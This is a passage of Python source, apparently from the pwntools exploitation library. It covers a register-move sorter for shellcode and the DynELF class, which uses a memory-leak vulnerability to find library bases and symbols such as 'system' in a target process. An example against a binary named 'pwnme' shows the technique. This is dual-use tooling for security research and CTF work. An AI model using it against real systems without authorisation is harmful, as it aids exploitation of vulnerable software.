    Resolve the order of all dependencies starting at a given register.

    Example:

        >>> want = {'a': 1, 'b': 'c', 'c': 'd', 'd': 7, 'x': 'd'}
        >>> deps = {'a': [], 'b': [], 'c': ['b'], 'd': ['c', 'x'], 'x': []}
        >>> resolve_order('a', deps)
        ['a']
        >>> resolve_order('b', deps)
        ['b']
        >>> resolve_order('c', deps)
        ['b', 'c']
        >>> resolve_order('d', deps)
        ['b', 'c', 'x', 'd']
    """
    x = []
    for dep in deps[reg]:
        x.extend(resolve_order(dep, deps))
    x.append(reg)
    return x

def depends_on_cycle(reg, assignments, in_cycles):
    while reg in assignments:
        if reg in in_cycles:
            return True
        reg = assignments.get(reg, None)
    return False

def regsort(in_out, all_regs, tmp = None, xchg = True, randomize = None):
    """
    Sorts register dependencies.

    Given a dictionary of registers to desired register contents,
    return the optimal order in which to set the registers to
    those contents.

    The implementation assumes that it is possible to move from
    any register to any other register.

    If a dependency cycle is encountered, one of the following will
    occur:

    - If ``xchg`` is ``True``, it is assumed that dependency cyles can
      be broken by swapping the contents of two register (a la the
      ``xchg`` instruction on i386).
    - If ``xchg`` is not set, but not all destination registers in
      ``in_out`` are involved in a cycle, one of the registers
      outside the cycle will be used as a temporary register,
      and then overwritten with its final value.
    - If ``xchg`` is not set, and all registers are involved in
      a dependency cycle, the named register ``temporary`` is used
      as a temporary register.
    - If the dependency cycle cannot be resolved as described above,
      an exception is raised.

    Arguments:

        in_out(dict):
            Dictionary of desired register states.
            Keys are registers, values are either registers or any other value.
        all_regs(list):
            List of all possible registers.
            Used to determine which values in ``in_out`` are registers, versus
            regular values.
        tmp(obj, str):
            Named register (or other sentinel value) to use as a temporary
            register.  If ``tmp`` is a named register **and** appears
            as a source value in ``in_out``, dependencies are handled
            appropriately.  ``tmp`` cannot be a destination register
            in ``in_out``.
            If ``bool(tmp)==True``, this mode is enabled.
        xchg(obj):
            Indicates the existence of an instruction which can swap the
            contents of two registers without use of a third register.
            If ``bool(xchg)==False``, this mode is disabled.
        random(bool):
            Randomize as much as possible about the order or registers.

    Returns:

        A list of tuples of ``(src, dest)``.

        Each register may appear more than once, if a register is used
        as a temporary register, and later overwritten with its final
        value.

        If ``xchg`` is ``True`` and it is used to break a dependency cycle,
        then ``reg_name`` will be ``None`` and ``value`` will be a tuple
        of the instructions to swap.

    Example:

        >>> R = ['a', 'b', 'c', 'd', 'x', 'y', 'z']

        If order doesn't matter for any subsequence, alphabetic
        order is used.

        >>> regsort({'a': 1, 'b': 2}, R)
        [('mov', 'a', 1), ('mov', 'b', 2)]
        >>> regsort({'a': 'b', 'b': 'a'}, R)
        [('xchg', 'a', 'b')]
        >>> regsort({'a': 'b', 'b': 'a'}, R, tmp='X') #doctest: +NORMALIZE_WHITESPACE
        [('mov', 'X', 'a'),
         ('mov', 'a', 'b'),
         ('mov', 'b', 'X')]
        >>> regsort({'a': 1, 'b': 'a'}, R) #doctest: +NORMALIZE_WHITESPACE
        [('mov', 'b', 'a'),
         ('mov', 'a', 1)]
        >>> regsort({'a': 'b', 'b': 'a', 'c': 3}, R) #doctest: +NORMALIZE_WHITESPACE
        [('mov', 'c', 3),
         ('xchg', 'a', 'b')]
        >>> regsort({'a': 'b', 'b': 'a', 'c': 'b'}, R) #doctest: +NORMALIZE_WHITESPACE
        [('mov', 'c', 'b'),
         ('xchg', 'a', 'b')]
        >>> regsort({'a':'b', 'b':'a', 'x':'b'}, R, tmp='y', xchg=False) #doctest: +NORMALIZE_WHITESPACE
        [('mov', 'x', 'b'),
         ('mov', 'y', 'a'),
         ('mov', 'a', 'b'),
         ('mov', 'b', 'y')]
        >>> regsort({'a':'b', 'b':'a', 'x':'b'}, R, tmp='x', xchg=False) #doctest: +ELLIPSIS
        Traceback (most recent call last):
        ...
        PwnlibException: Cannot break dependency cycles ...
        >>> regsort({'a':'b','b':'c','c':'a','x':'1','y':'z','z':'c'}, R) #doctest: +NORMALIZE_WHITESPACE
        [('mov', 'x', '1'),
         ('mov', 'y', 'z'),
         ('mov', 'z', 'c'),
         ('xchg', 'a', 'b'),
         ('xchg', 'b', 'c')]
        >>> regsort({'a':'b','b':'c','c':'a','x':'1','y':'z','z':'c'}, R, tmp='x') #doctest: +NORMALIZE_WHITESPACE
        [('mov', 'y', 'z'),
         ('mov', 'z', 'c'),
         ('mov', 'x', 'a'),
         ('mov', 'a', 'b'),
         ('mov', 'b', 'c'),
         ('mov', 'c', 'x'),
         ('mov', 'x', '1')]
        >>> regsort({'a':'b','b':'c','c':'a','x':'1','y':'z','z':'c'}, R, xchg=0) #doctest: +NORMALIZE_WHITESPACE
        [('mov', 'y', 'z'),
         ('mov', 'z', 'c'),
         ('mov', 'x', 'a'),
         ('mov', 'a', 'b'),
         ('mov', 'b', 'c'),
         ('mov', 'c', 'x'),
         ('mov', 'x', '1')]
    """
    if randomize is None:
        randomize = context.randomize

    sentinel = object()

    # Drop all registers which will be set to themselves.
    #
    # For example, {'eax': 'eax'}
    in_out = {k:v for k,v in in_out.items() if k != v}

    # Collapse constant values
    #
    # For eaxmple, {'eax': 0, 'ebx': 0} => {'eax': 0, 'ebx': 'eax'}
    v_k = defaultdict(lambda: [])
    for k,v in sorted(in_out.items()):
        if v not in all_regs and v != 0:
            v_k[v].append(k)

    post_mov = {}

    for v,ks in sorted(v_k.items()):
        for k in ks[1:]:
            post_mov[k] = ks[0]
            in_out.pop(k)

    # Check input
    if not all(k in all_regs for k in in_out):
        log.error("Unknown register! Know: %r.  Got: %r" % (all_regs, list(in_out)))

    # In the simplest case, no registers are 'inputs'
    # which are also 'outputs'.
    #
    # For example, {'eax': 1, 'ebx': 2, 'ecx': 'edx'}
    if not any(v in in_out for k,v in in_out.items()):
        result = [('mov', k,in_out[k]) for k in sorted(in_out)]

        if randomize:
            shuffle(result)

        for dreg, sreg in sorted(post_mov.items()):
            result.append(('mov', dreg, sreg))

        return result

    # Invert so we have a dependency graph.
    #
    # Input:   {'A': 'B', 'B': '1', 'C': 'B'}
    # Output:  {'A': [], 'B': ['A', 'C'], 'C': []}
    #
    # In this case, both A and C must be set before B.
    deps  = {r: extract_dependencies(r, in_out) for r in in_out}

    # Final result which will be returned
    result = []

    # Find all of the cycles.
    #
    # Given that everything is single-assignment, the cycles
    # are guarnteed to be disjoint.
    cycle_candidates = sorted(list(in_out))
    cycles           = []
    in_cycle         = []
    not_in_cycle     = []

    if randomize:
        shuffle(cycle_candidates)

    while cycle_candidates:
        reg   = cycle_candidates[0]
        cycle = check_cycle(reg, in_out)

        if cycle:
            if randomize:
                x = randint(0, len(cycle))
                cycle = cycle[x:] + cycle[:x]


            cycles.append(cycle)
            in_cycle.extend(cycle)
            for reg in cycle:
                cycle_candidates.remove(reg)
        else:
            not_in_cycle.append(cycle_candidates.pop(0))

    #
    # If there are cycles, ensure that we can break them.
    #
    # If the temporary register itself is in, or ultimately
    # depends on a register which is in a cycle, we cannot use
    # it as a temporary register.
    #
    # In this example below, X, Y, or Z cannot be a temporary register,
    # as the following must occur before resolving the cycle:
    #
    #  - X = Y
    #  - Y = Z
    #  - Z = C
    #
    #   X → Y → Z → ───╮
    #                  ↓
    #  ╭─ (A) → (B) → (C) ─╮
    #  ╰──────── ← ────────╯
    if depends_on_cycle(tmp, in_out, in_cycle):
        tmp = None

    # If XCHG is expressly disabled, and there is no temporary register,
    # try to see if there is any register which can be used as a temp
    # register instead.
    if not (xchg or tmp):
        for reg in in_out:
            if not depends_on_cycle(reg, in_out, in_cycle):
                tmp = reg
                break
        else:
            nope = sorted((k,v) for k,v in in_out.items())
            log.error("Cannot break dependency cycles in %r" % nope)


    # Don't set the temporary register now
    if tmp in not_in_cycle:
        not_in_cycle.remove(tmp)

    # Resolve everything *not* in a cycle.
    if randomize:
        shuffle(not_in_cycle)

    while not_in_cycle:
        reg   = not_in_cycle[0]
        order = resolve_order(reg, deps)

        for reg in order:
            # Did we already handle this reg?
            if reg not in not_in_cycle:
                continue

            src =  in_out[reg]
            result.append(('mov', reg, src))
            not_in_cycle.remove(reg)

            # Mark this as resolved
            if reg in deps.get(src, []):
                deps[src].remove(reg)


    # If using a temporary register, break each cycle individually
    #
    #  ╭─ (A) → (B) → (C) ─╮
    #  ╰──────── ← ────────╯
    #
    # Becomes separete actions:
    #
    #   tmp = A
    #   A = B
    #   B = C
    #   C = tmp
    #
    #  ╭─ (A) → (B) → (C) ─╮
    #  ╰──────── ← ────────╯
    if randomize:
        shuffle(cycles)

    if tmp:
        for cycle in cycles:

            first = cycle[0]
            last  = cycle[-1]

            deps[first].remove(last)
            in_out[last] = tmp

            order = resolve_order(last, deps)

            result.append(('mov', tmp, first))
            for reg in order:
                result.append(('mov', reg, in_out[reg]))

    else:
        for cycle in cycles:
            size = len(cycle)
            for i in range(size-1):
                result.append(('xchg', cycle[i], cycle[(i+1) % size]))

    # Finally, set the temp register's final value
    if tmp and tmp in in_out:
        result.append(('mov', tmp, in_out[tmp]))

    for dreg, sreg in sorted(post_mov.items()):
        result.append(('mov', dreg, sreg))

    return result






"""
Resolve symbols in loaded, dynamically-linked ELF binaries.
Given a function which can leak data at an arbitrary address,
any symbol in any loaded library can be resolved.

Example
^^^^^^^^

::

    # Assume a process or remote connection
    p = process('./pwnme')

    # Declare a function that takes a single address, and
    # leaks at least one byte at that address.
    def leak(address):
        data = p.read(address, 4)
        log.debug("%#x => %s" % (address, (data or '').encode('hex')))
        return data

    # For the sake of this example, let's say that we
    # have any of these pointers.  One is a pointer into
    # the target binary, the other two are pointers into libc
    main   = 0xfeedf4ce
    libc   = 0xdeadb000
    system = 0xdeadbeef

    # With our leaker, and a pointer into our target binary,
    # we can resolve the address of anything.
    #
    # We do not actually need to have a copy of the target
    # binary for this to work.
    d = DynELF(leak, main)
    assert d.lookup(None,     'libc') == libc
    assert d.lookup('system', 'libc') == system

    # However, if we *do* have a copy of the target binary,
    # we can speed up some of the steps.
    d = DynELF(leak, main, elf=ELF('./pwnme'))
    assert d.lookup(None,     'libc') == libc
    assert d.lookup('system', 'libc') == system

    # Alternately, we can resolve symbols inside another library,
    # given a pointer into it.
    d = DynELF(leak, libc + 0x1234)
    assert d.lookup('system')      == system

DynELF
"""
import ctypes

from elftools.elf.enums import ENUM_D_TAG

from . import elf
from . import libcdb
from .context import context
from .elf import ELF
from .elf import constants
from .log import getLogger
from .memleak import MemLeak
from .util.fiddling import enhex
from .util.packing import unpack
from .util.web import wget

log    = getLogger(__name__)
sizeof = ctypes.sizeof

def sysv_hash(symbol):
    """sysv_hash(str) -> int

    Function used to generate SYSV-style hashes for strings.
    """
    h = 0
    g = 0
    for c in symbol:
        h = (h << 4) + ord(c)
        g = h & 0xf0000000
        h ^= (g >> 24)
        h &= ~g
    return h & 0xffffffff

def gnu_hash(s):
    """gnu_hash(str) -> int

    Function used to generated GNU-style hashes for strings.
    """
    h = 5381
    for c in s:
        h = h * 33 + ord(c)
    return h & 0xffffffff

class DynELF(object):
    '''
    DynELF knows how to resolve symbols in remote processes via an infoleak or
    memleak vulnerability encapsulated by :class:`pwnlib.memleak.MemLeak`.

    Implementation Details:

        Resolving Functions:

            In all ELFs which export symbols for importing by other libraries,
            (e.g. ``libc.so``) there are a series of tables which give exported
            symbol names, exported symbol addresses, and the ``hash`` of those
            exported symbols.  By applying a hash function to the name of the
            desired symbol (e.g., ``'printf'``), it can be located in the hash
            table.  Its location in the hash table provides an index into the
            string name table (strtab_), and the symbol address (symtab_).

            Assuming we have the base address of ``libc.so``, the way to resolve
            the address of ``printf`` is to locate the ``symtab``, ``strtab``,
            and hash table. The string ``"printf"`` is hashed according to the
            style of the hash table (SYSV_ or GNU_), and the hash table is
            walked until a matching entry is located. We can verify an exact
            match by checking the string table, and then get the offset into
            ``libc.so`` from the ``symtab``.

        Resolving Library Addresses:

            If we have a pointer into a dynamically-linked executable, we can
            leverage an internal linker structure called the `link map`_. This
            is a linked list structure which contains information about each
            loaded library, including its full path and base address.

            A pointer to the ``link map`` can be found in two ways.  Both are
            referenced from entries in the DYNAMIC_ array.

            - In non-RELRO binaries, a pointer is placed in the `.got.plt`_ area
              in the binary. This is marked by finding the DT_PLTGOT_ area in the
              binary.
            - In all binaries, a pointer can be found in the area described by
              the DT_DEBUG_ area.  This exists even in stripped binaries.

            For maximum flexibility, both mechanisms are used exhaustively.

    .. _symtab:    https://refspecs.linuxbase.org/elf/gabi4+/ch4.symtab.html
    .. _strtab:    https://refspecs.linuxbase.org/elf/gabi4+/ch4.strtab.html
    .. _.got.plt:  https://refspecs.linuxbase.org/LSB_3.1.1/LSB-Core-generic/LSB-Core-generic/specialsections.html
    .. _DYNAMIC:   http://www.sco.com/developers/gabi/latest/ch5.dynamic.html#dynamic_section
    .. _SYSV:      https://refspecs.linuxbase.org/elf/gabi4+/ch5.dynamic.html#hash
    .. _GNU:       https://blogs.oracle.com/ali/entry/gnu_hash_elf_sections
    .. _DT_DEBUG:  https://reverseengineering.stackexchange.com/questions/6525/elf-link-map-when-linked-as-relro
    .. _link map:  https://sourceware.org/git/?p=glibc.git;a=blob;f=elf/link.h;h=eaca8028e45a859ac280301a6e955a14eed1b887;hb=HEAD#l84
    .. _DT_PLTGOT: http://refspecs.linuxfoundation.org/ELF/zSeries/lzsabi0_zSeries/x2251.html
    '''

    def __init__(self, leak, pointer=None, elf=None):
        '''
        Instantiates an object which can resolve symbols in a running binary
        given a :class:`pwnlib.memleak.MemLeak` leaker and a pointer inside
        the binary.

        Arguments:
            leak(MemLeak): Instance of pwnlib.memleak.MemLeak for leaking memory
            pointer(int):  A pointer into a loaded ELF file
            elf(str,ELF):  Path to the ELF file on disk, or a loaded :class:`pwnlib.elf.ELF`.
        '''
        self._elfclass = None
        self._link_map = None
        self._waitfor  = None
        self._bases    = {}
        self._dynamic  = None

        if not (pointer or (elf and elf.address)):
            log.error("Must specify either a pointer into a module and/or an ELF file with a valid base address")

        pointer = pointer or elf.address

        if not isinstance(leak, MemLeak):
            leak = MemLeak(leak)

        if not elf:
            log.warn_once("No ELF provided.  Leaking is much faster if you have a copy of the ELF being leaked.")

        self.elf     = elf
        self.leak    = leak
        self.libbase = self._find_base(pointer or elf.address)

        if elf:
            self._find_linkmap_assisted(elf)

    @classmethod
    def for_one_lib_only(cls, leak, ptr):
        return cls(leak, ptr)

    @classmethod
    def from_lib_ptr(cls, leak, ptr):
        return cls(leak, ptr)

    @staticmethod
    def find_base(leak, ptr):
        """Given a :class:`pwnlib.memleak.MemLeak` object and a pointer into a
        library, find its base address.
        """
        return DynELF(leak, ptr).libbase

    @property
    def elfclass(self):
        """32 or 64"""
        if not self._elfclass:
            elfclass = self.leak.field(self.libbase, elf.Elf_eident.EI_CLASS)
            self._elfclass =  {constants.ELFCLASS32: 32,
                              constants.ELFCLASS64: 64}[elfclass]
        return self._elfclass

    @property
    def link_map(self):
        """Pointer to the runtime link_map object"""
        if not self._link_map:
            self._link_map = self._find_linkmap()
        return self._link_map

    @property
    def dynamic(self):
        """
        Returns:
            Pointer to the ``.DYNAMIC`` area.
        """
        if not self._dynamic:
            self._dynamic = self._find_dynamic_phdr()
        return self._dynamic

    def _find_linkmap_assisted(self, path):
        """Uses an ELF file to assist in finding the link_map.
        """
        if isinstance(path, ELF):
            path = path.path

        # Load a fresh copy of the ELF
        with context.local(log_level='error'):
            elf = ELF(path)
        elf.address = self.libbase

        w = self.waitfor("Loading from %r" % elf.path)

        # Save our real leaker
        real_leak = self.leak

        # Create a fake leaker which just leaks out of the 'loaded' ELF
        # However, we may load things which are outside of the ELF (e.g.
        # the linkmap or GOT) so we need to fall back on the real leak.
        @MemLeak
        def fake_leak(address):
            try:
                return elf.read(address, 4)
            except ValueError:
                return real_leak.b(address)

        # Save off our real leaker, use the fake leaker
        self.leak = fake_leak

        # Get useful pointers for resolving the linkmap faster
        w.status("Searching for DT_PLTGOT")
        pltgot = self._find_dt(constants.DT_PLTGOT)

        w.status("Searching for DT_DEBUG")
        debug  = self._find_dt(constants.DT_DEBUG)

        # Restore the real leaker
        self.leak = real_leak

        # Find the linkmap using the helper pointers
        self._find_linkmap(pltgot, debug)
        self.success('Done')

    def _find_base(self, ptr):
        page_size = 0x1000
        page_mask = ~(page_size - 1)

        ptr &= page_mask
        w = None

        while True:
            if self.leak.compare(ptr, '\x7fELF'):
                break

            # See if we can short circuit the search
            fast = self._find_base_optimized(ptr)
            if fast:
                ptr = fast
                continue

            ptr -= page_size

            if ptr < 0:
                raise ValueError("Address is negative, something is wrong!")

            # Defer creating the spinner in the event that 'ptr'
            # is already the base address
            w = w or self.waitfor("Finding base address")
            self.status('%#x' % ptr)

        # If we created a spinner, print the success message
        if w:
            self.success('%#x' % ptr)

        return ptr

    def _find_base_optimized(self, ptr):
        if not self.elf:
            return None

        # If we have an ELF< we can probably speed this up a little bit?
        # Note that we add +0x20 onto the offset in order to avoid needing
        # to leak any bytes which contain '\r\n\t\b '
        ptr += 0x20
        data = self.leak.n(ptr, 32)
        if not data:
            return None

        # Do not permit multiple matches
        matches = list(self.elf.search(data))
        if len(matches) != 1:
            return None

        candidate = matches[0]
        candidate -= self.elf.address

        # The match should have the same page-alignment as our leaked data.
        if candidate & 0xfff != 0x20:
            return None

        # Adjust based on the original pointer we got, and the ELF's address.
        ptr -= candidate
        return ptr

    def _find_dynamic_phdr(self):
        """
        Returns the address of the first Program Header with the type
        PT_DYNAMIC.
        """
        leak  = self.leak
        base  = self.libbase

        #First find PT_DYNAMIC
        Ehdr  = {32: elf.Elf32_Ehdr, 64: elf.Elf64_Ehdr}[self.elfclass]
        Phdr  = {32: elf.Elf32_Phdr, 64: elf.Elf64_Phdr}[self.elfclass]

        self.status("PT_DYNAMIC")

        phead = base + leak.field(base, Ehdr.e_phoff)
        self.status("PT_DYNAMIC header = %#x" % phead)

        phnum = leak.field(base, Ehdr.e_phnum)
        self.status("PT_DYNAMIC count = %#x" % phnum)

        for i in range(phnum):
            if leak.field_compare(phead, Phdr.p_type, constants.PT_DYNAMIC):
                break
            phead += sizeof(Phdr)
        else:
            self.failure("Could not find Program Header of type PT_DYNAMIC")
            return None

        dynamic = leak.field(phead, Phdr.p_vaddr)
        self.status("PT_DYNAMIC @ %#x" % dynamic)

        #Sometimes this is an offset instead of an address
        if 0 < dynamic < 0x400000:
            dynamic += base

        return dynamic

    def _find_dt(self, tag):
        """
        Find an entry in the DYNAMIC array.

        Arguments:
            tag(int): Single tag to find

        Returns:
            Pointer to the data described by the specified entry.
        """
        leak    = self.leak
        base    = self.libbase
        dynamic = self.dynamic
        name    = next(k for k,v in ENUM_D_TAG.items() if v == tag)

        Dyn = {32: elf.Elf32_Dyn,    64: elf.Elf64_Dyn}     [self.elfclass]

        # Found the _DYNAMIC program header, now find PLTGOT entry in it
        # An entry with a DT_NULL tag marks the end of the DYNAMIC array.
        while not leak.field_compare(dynamic, Dyn.d_tag, constants.DT_NULL):
            if leak.field_compare(dynamic, Dyn.d_tag, tag):
                break
            dynamic += sizeof(Dyn)
        else:
            self.failure("Could not find tag %s" % name)
            return None

        self.status("Found %s at %#x" % (name, dynamic))
        ptr = leak.field(dynamic, Dyn.d_ptr)

        # Sometimes this is an offset rather than an actual pointer.
        if 0 < ptr < 0x400000:
            ptr += self.libbase

        return ptr


    def _find_linkmap(self, pltgot=None, debug=None):
        """
        The linkmap is a chained structure created by the loader at runtime
        which contains information on the names and load addresses osf all
        libraries.

        For non-RELRO binaries, a pointer to this is stored in the .got.plt
        area.

        For RELRO binaries, a pointer is additionally stored in the DT_DEBUG
        area.
        """
        w = self.waitfor("Finding linkmap")

        Got     = {32: elf.Elf_i386_GOT, 64: elf.Elf_x86_64_GOT}[self.elfclass]
        r_debug = {32: elf.Elf32_r_debug, 64: elf.Elf64_r_debug}[self.elfclass]

        result = None

        if not pltgot:
            w.status("Finding linkmap: DT_PLTGOT")
            pltgot = self._find_dt(constants.DT_PLTGOT)

        if pltgot:
            w.status("GOT.linkmap")
            result = self.leak.field(pltgot, Got.linkmap)
            w.status("GOT.linkmap %#x" % result)

        if not result:
            debug = debug or self._find_dt(constants.DT_DEBUG)
            if debug:
                w.status("r_debug.linkmap")
                result = self.leak.field(debug, r_debug.r_map)
                w.status("r_debug.linkmap %#x" % result)

        if not (pltgot or debug):
            w.failure("Could not find DT_PLTGOT or DT_DEBUG")
            return None

        if 0 < result < 0x400000:
            result += self.libbase

        w.success('%#x' % result)
        return result

    def waitfor(self, msg):
        if not self._waitfor:
            self._waitfor = log.waitfor(msg)
        else:
            self.status(msg)
        return self._waitfor

    def failure(self, msg):
        if not self._waitfor:
            log.failure(msg)
        else:
            self._waitfor.failure(msg)
            self._waitfor = None

    def success(self, msg):
        if not self._waitfor:
            log.success(msg)
        else:
            self._waitfor.success(msg)
            self._waitfor = None

    def status(self, msg):
        if not self._waitfor:
            log.info(msg)
        else:
            self._waitfor.status(msg)

    @property
    def libc(self):
        """libc(self) -> ELF

        Leak the Build ID of the remote libc.so, download the file,
        and load an ``ELF`` object with the correct base address.

        Returns:
            An ELF object, or None.
        """
        libc = 'libc.so'

        with self.waitfor('Downloading libc'):
            dynlib = self._dynamic_load_dynelf(libc)

            self.status("Trying lookup based on Build ID")
            build_id = dynlib._lookup_build_id(libc)

            if not build_id:
                return None

            self.status("Trying lookup based on Build ID: %s" % build_id)
            path = libcdb.search_by_build_id(build_id)

            if not path:
                return None

            libc = ELF(path)
            libc.address = dynlib.libbase
            return libc

    def lookup (self, symb = None, lib = None):
        """lookup(symb = None, lib = None) -> int

        Find the address of ``symbol``, which is found in ``lib``.

        Arguments:
            symb(str): Named routine to look up
            lib(str): Substring to match for the library name.
              If omitted, the current library is searched.
              If set to ``'libc'``, ``'libc.so'`` is assumed.

        Returns:
            Address of the named symbol, or ``None``.
        """
        result = None

        if lib == 'libc':
            lib = 'libc.so'

        #
        # Get a pretty name for the symbol to show the user
        #
        if symb and lib:
            pretty = '%r in %r' % (symb, lib)
        else:
            pretty = repr(symb or lib)

        if not pretty:
            self.failure("Must specify a library or symbol")

        self.waitfor('Resolving %s' % pretty)

        #
        # If we are loading from a different library, create
        # a DynELF instance for it.
        #
        if lib is not None: dynlib = self._dynamic_load_dynelf(lib)
        else:   dynlib = self

        if dynlib is None:
            log.failure("Could not find %r" % lib)
            return None

        #
        # If we are resolving a symbol in the library, find it.
        #
        if symb:
            # Try a quick lookup by build ID
            self.status("Trying lookup based on Build ID")
            build_id = dynlib._lookup_build_id(lib=lib)
            result   = None
            if build_id:
                log.info("Trying lookup based on Build ID: %s" % build_id)
                path = libcdb.search_by_build_id(build_id)
                if path:
                    with context.local(log_level='error'):
                        e = ELF(path)
                        e.address = dynlib.libbase
                        result = e.symbols[symb]

            if not result:
                self.status("Trying remote lookup")
                result = dynlib._lookup(symb)
        else:
            result = dynlib.libbase

        #
        # Did we win?
        #
        if result: self.success("%#x" % result)
        else:      self.failure("Could not find %s" % pretty)

        return result

    def bases(self):
        '''Resolve base addresses of all loaded libraries.

        Return a dictionary mapping library path to its base address.
        '''
        if not self._bases:
            leak    = self.leak
            LinkMap = {32: elf.Elf32_Link_Map, 64: elf.Elf64_Link_Map}[self.elfclass]

            cur = self.link_map

            # make sure we rewind to the beginning!
            while leak.field(cur, LinkMap.l_prev):
                cur = leak.field(cur, LinkMap.l_prev)

            while cur:
                p_name = leak.field(cur, LinkMap.l_name)
                name   = leak.s(p_name)
                addr   = leak.field(cur, LinkMap.l_addr)
                cur    = leak.field(cur, LinkMap.l_next)

                log.debug('Found %r @ %#x' % (name, addr))

                self._bases[name] = addr

        return self._bases

    def _dynamic_load_dynelf(self, libname):
        """_dynamic_load_dynelf(libname) -> DynELF

        Looks up information about a loaded library via the link map.

        Arguments:
            libname(str):  Name of the library to resolve, or a substring (e.g. 'libc.so')

        Returns:
            A DynELF instance for the loaded library, or None.
        """
        cur     = self.link_map
        leak    = self.leak
        LinkMap = {32: elf.Elf32_Link_Map, 64: elf.Elf64_Link_Map}[self.elfclass]

        # make sure we rewind to the beginning!
        while leak.field(cur, LinkMap.l_prev):
            cur = leak.field(cur, LinkMap.l_prev)

        while cur:
            self.status("link_map entry %#x" % cur)
            p_name = leak.field(cur, LinkMap.l_name)
            name   = leak.s(p_name)

            if libname in name:
                break

            if name:
                self.status('Skipping %s' % name)

            cur = leak.field(cur, LinkMap.l_next)
        else:
            self.failure("Could not find library with name containing %r" % libname)
            return None

        libbase = leak.field(cur, LinkMap.l_addr)

        self.status("Resolved library %r at %#x" % (libname, libbase))

        lib = DynELF(leak, libbase)
        lib._dynamic = leak.field(cur, LinkMap.l_ld)
        lib._waitfor = self._waitfor
        return lib

    def _lookup(self, symb):
        """Performs the actual symbol lookup within one ELF file."""
        leak = self.leak
        Dyn  = {32: elf.Elf32_Dyn, 64: elf.Elf64_Dyn}[self.elfclass]
        name = lambda tag: next(k for k,v in ENUM_D_TAG.items() if v == tag)

        self.status('.gnu.hash/.hash, .strtab and .symtab offsets')

        #
        # We need all three of the hash, string table, and symbol table.
        #
        hshtab  = self._find_dt(constants.DT_GNU_HASH)
        strtab  = self._find_dt(constants.DT_STRTAB)
        symtab  = self._find_dt(constants.DT_SYMTAB)

        # Assume GNU hash will hit, since it is the default for GCC.
        if hshtab:
            hshtype = 'gnu'
        else:
            hshtab  = self._find_dt(constants.DT_HASH)
            hshtype = 'sysv'

        if not all([strtab, symtab, hshtab]):
            self.failure("Could not find all tables")

        # glibc pointers are relocated but uclibc are not
        if 0 < strtab < 0x400000:
            strtab  += self.libbase
            symtab  += self.libbase
            hshtab  += self.libbase

        #
        # Perform the hash lookup
        #
        routine = {'sysv': self._resolve_symbol_sysv,
                   'gnu':  self._resolve_symbol_gnu}[hshtype]
        return routine(self.libbase, symb, hshtab, strtab, symtab)

    def _resolve_symbol_sysv(self, libbase, symb, hshtab, strtab, symtab):
        """
        Internal Documentation:
            See the ELF manual for more information.  Search for the phrase
            "A hash table of Elf32_Word objects supports symbol table access", or see:
            https://docs.oracle.com/cd/E19504-01/802-6319/6ia12qkfo/index.html#chapter6-48031

            struct Elf_Hash {
                uint32_t nbucket;
                uint32_t nchain;
                uint32_t bucket[nbucket];
                uint32_t chain[nchain];
            }

            You can force an ELF to use this type of symbol table by compiling
            with 'gcc -Wl,--hash-style=sysv'
        """
        self.status('.hash parms')
        leak       = self.leak
        Sym        = {32: elf.Elf32_Sym, 64: elf.Elf64_Sym}[self.elfclass]

        nbucket   = leak.field(hshtab, elf.Elf_HashTable.nbucket)
        bucketaddr = hshtab + sizeof(elf.Elf_HashTable)
        chain      = bucketaddr + (nbucket * 4)

        self.status('hashmap')
        hsh = sysv_hash(symb) % nbucket

        # Get the index out of the bucket for the hash we computed
        idx = leak.d(bucketaddr, hsh)

        while idx != constants.STN_UNDEF:
            # Look up the symbol corresponding to the specified index
            sym     = symtab + (idx * sizeof(Sym))
            symtype = leak.field(sym, Sym.st_info) & 0xf

            # We only care about functions
            if symtype == constants.STT_FUNC:

                # Leak the name of the function from the symbol table
                name = leak.s(strtab + leak.field(sym, Sym.st_name))

                # Make sure it matches the name of the symbol we were looking for.
                if name == symb:
                    #Bingo
                    addr = libbase + leak.field(sym, Sym.st_value)
                    return addr

                self.status("%s (hash collision)" % name)

            # The name did not match what we were looking for, or we assume
            # it did not since it was not a function.
            # Follow the chain for this particular hash.
            idx = leak.d(chain, idx)
        else:
            self.failure('Could not find a SYSV hash that matched %#x' % hsh)
            return None

    def _resolve_symbol_gnu(self, libbase, symb, hshtab, strtab, symtab):
        """
        Internal Documentation:
            The GNU hash structure is a bit more complex than the normal hash
            structure.

            Again, Oracle has good documentation.
            https://blogs.oracle.com/ali/entry/gnu_hash_elf_sections

            You can force an ELF to use this type of symbol table by compiling
            with 'gcc -Wl,--hash-style=gnu'
        """
        self.status('.gnu.hash parms')
        leak = self.leak
        Sym  = {32: elf.Elf32_Sym, 64: elf.Elf64_Sym}[self.elfclass]

        # The number of hash buckets (hash % nbuckets)
        nbuckets  = leak.field(hshtab, elf.GNU_HASH.nbuckets)

        # Index of the first accessible symbol in the hash table
        # Numbering doesn't start at zero, it starts at symndx
        symndx    = leak.field(hshtab, elf.GNU_HASH.symndx)

        # Number of things in the bloom filter.
        # We don't care about the contents, but we have to skip over it.
        maskwords = leak.field(hshtab, elf.GNU_HASH.maskwords)

        # Skip over the bloom filter to get to the buckets
        elfword = self.elfclass / 8
        buckets = hshtab + sizeof(elf.GNU_HASH) + (elfword * maskwords)

        # The chains come after the buckets
        chains  = buckets + (4 * nbuckets)

        self.status('hash chain index')

        # Hash the symbol, find its bucket
        hsh    = gnu_hash(symb)
        bucket = hsh % nbuckets

        # Get the first index in the chain for that bucket
        ndx    = leak.d(buckets, bucket)
        if ndx == 0:
            self.failure('Empty chain')
            return None

        # Find the start of the chain, taking into account that numbering
        # effectively starts at 'symndx' within the chains.
        chain  = chains + 4 * (ndx - symndx)

        self.status('hash chain')

        # Iteratively get the I'th entry from the hash chain, until we find
        # one that matches.
        i    = 0
        hsh &= ~1

        # The least significant bit is used as a stopper bit.
        # It is set to 1 when a symbol is the last symbol in a given hash chain.
        hsh2 = 0
        while not hsh2 & 1:
            hsh2 = leak.d(chain, i)
            if hsh == (hsh2 & ~1):
                # Check for collision on hash values
                sym  = symtab + sizeof(Sym) * (ndx + i)
                name = leak.s(strtab + leak.field(sym, Sym.st_name))

                if name == symb:
                    # No collision, get offset and calculate address
                    offset = leak.field(sym, Sym.st_value)
                    addr   = offset + libbase
                    return addr

                self.status("%s (hash collision)" % name)

            # Collision or no match, continue to the next item
            i += 1
        else:
            self.failure('Could not find a GNU hash that matched %#x' % hsh)
            return None

    def _lookup_build_id(self, lib = None):

        libbase = self.libbase

        if lib is not None:
            libbase = self.lookup(symb = None, lib = lib)

        if not libbase:
